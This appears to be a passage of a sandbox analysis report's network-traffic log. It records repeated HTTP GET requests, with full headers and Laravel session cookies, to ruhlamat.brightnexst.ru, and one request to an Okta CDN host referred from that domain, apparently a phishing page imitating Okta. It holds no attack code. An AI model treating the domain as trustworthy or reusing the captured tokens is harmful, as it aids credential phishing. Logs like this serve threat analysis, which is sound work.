Source: global traffic	HTTP traffic detected: GET /wxoM5So7vqYwNWtLzBGFFL5M0ymncgVrfiaPakgiU5Dab180 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijQimRjvEIEw9yIUdYsBmw6ZbWvqrwMQaqS9oDEx5NauoRJxDSeg2yaTRjyz228 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /hduU8spnEoO9ZYfUO0wu63kjzooF7mnL3dwOCWVUS1TdK0PeEYzlc HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxA8tGXS8USTA11kbQFNeTbOjwoppTu7enAWm5T12130 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijvJAsdEtsvgWkYF3OVUH1byu2l11hVwxIqKAzqO6JTxp3AT78168 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rslQ61QJXERF5SHVAjdq4SWGMobrl3KkkUDhoijsszZ9jsq5iRpj3F72fp3xcd200 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijroFnG3M60J3FhNqOM0FGt8JF3y59e2lJkLklr1EsoLL8YoDCMTx8tUgChmhe8g12209 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWaiTCMaxXhMYuMuKq4fyg9efmoN09n7uh9VoFQr45139 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /oppt631SaDeaZiF9PYR7ck0nYyPhzuGXsw6FjvKUstxERZxtS8Ux3DlG6PFsyZ6bhaXcd240 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnvoI3jENylyQfjRcA5vH8xwSMhVPXDuvIEvPI1x5f9ROzl178145 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvLvmC7l9w6480rnXql6LUVFUbTd0WjQdeb8poxJQbYUmnIyfJrvMhrwlvuHTsXAZqdgh260 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxoM5So7vqYwNWtLzBGFFL5M0ymncgVrfiaPakgiU5Dab180 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oppt631SaDeaZiF9PYR7ck0nYyPhzuGXsw6FjvKUstxERZxtS8Ux3DlG6PFsyZ6bhaXcd240 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rslQ61QJXERF5SHVAjdq4SWGMobrl3KkkUDhoijsszZ9jsq5iRpj3F72fp3xcd200 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; 